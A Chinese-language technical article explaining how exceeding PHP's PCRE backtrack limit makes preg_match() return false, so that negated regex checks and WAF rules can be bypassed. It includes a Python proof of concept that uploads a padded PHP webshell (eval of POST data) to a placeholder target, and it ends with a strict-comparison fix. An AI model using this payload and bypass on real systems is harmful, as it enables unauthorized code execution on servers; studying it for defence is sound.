PHP利用PCRE回溯次数绕过某些安全限制
字数 1004 2025-08-27 12:33:43
PCRE回溯次数限制绕过安全机制的技术分析
1. 正则表达式引擎基础
正则表达式引擎主要分为两种类型:
-
DFA (确定性有限状态自动机):
- 逐个字符读取输入串
- 根据正则表达式确定转移状态
- 性能较好但不支持回溯
-
NFA (非确定性有限状态自动机):
- 逐个字符读取输入串
- 匹配失败时会进行回溯尝试其他状态
- 支持更多功能但性能较差
- PHP的PCRE库使用NFA引擎
2. PCRE回溯机制分析
以正则表达式<\?.*[(;?>].*匹配输入<?php phpinfo();//aaaaa`为例:
- 第一个
.*贪婪匹配到字符串结尾//aaaaa - 发现后面缺少
[(;?>]`字符 - 开始回溯,每次回退一个字符
- 直到回退到
;时匹配成功 - 第二个
.*匹配剩余部分
此过程共进行了8次回溯。
3. PHP的PCRE回溯限制
PHP为防止ReDoS攻击设置了回溯次数限制:
- 默认限制:
pcre.backtrack_limit = 1000000(100万次) - 当回溯次数超过限制时:
preg_match()返回false- 可通过
preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR检测错误类型
4. 安全限制绕过技术
4.1 基本绕过方法
对于如下PHP代码:
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(!is_php($input)) {
// fwrite($f, $input);
}
攻击方法:
- 构造超长字符串使回溯次数超过100万
- 导致
preg_match()返回false !false为true,绕过检查
POC示例:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://target.com/index.php', files=files)
4.2 WAF绕过应用
4.2.1 贪婪模式绕过
if(preg_match('/SELECT.+FROM.+/is', $input)) {
die('SQL Injection');
}
4.2.2 非贪婪模式绕过
if(preg_match('/SELECT.+?FROM/is', $input)) {
die('SQL Injection');
}
攻击方法:
- 输入类似
UNION/*aaaaa*/SELECT的长字符串 - 使
.+?需要大量回溯才能匹配 - 超过回溯限制使检查失效
5. 防御措施
正确使用方法:
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(is_php($input) === 0) {
// fwrite($f, $input);
}
关键点:
- 使用
===严格比较返回值 preg_match()返回:1:匹配成功0:匹配失败false:执行错误
- 只有明确返回
0时才认为不包含PHP代码
6. 总结
- PCRE使用NFA引擎,存在回溯机制
- PHP默认限制100万次回溯
- 超长输入可使正则匹配失败而非不匹配
- 防御需严格检查返回值而非简单取反
- 该技术可应用于绕过各类正则检查的安全机制
这种攻击方式展示了安全机制实现细节的重要性,即使是看似简单的正则检查,也可能因实现不当而导致严重的安全漏洞。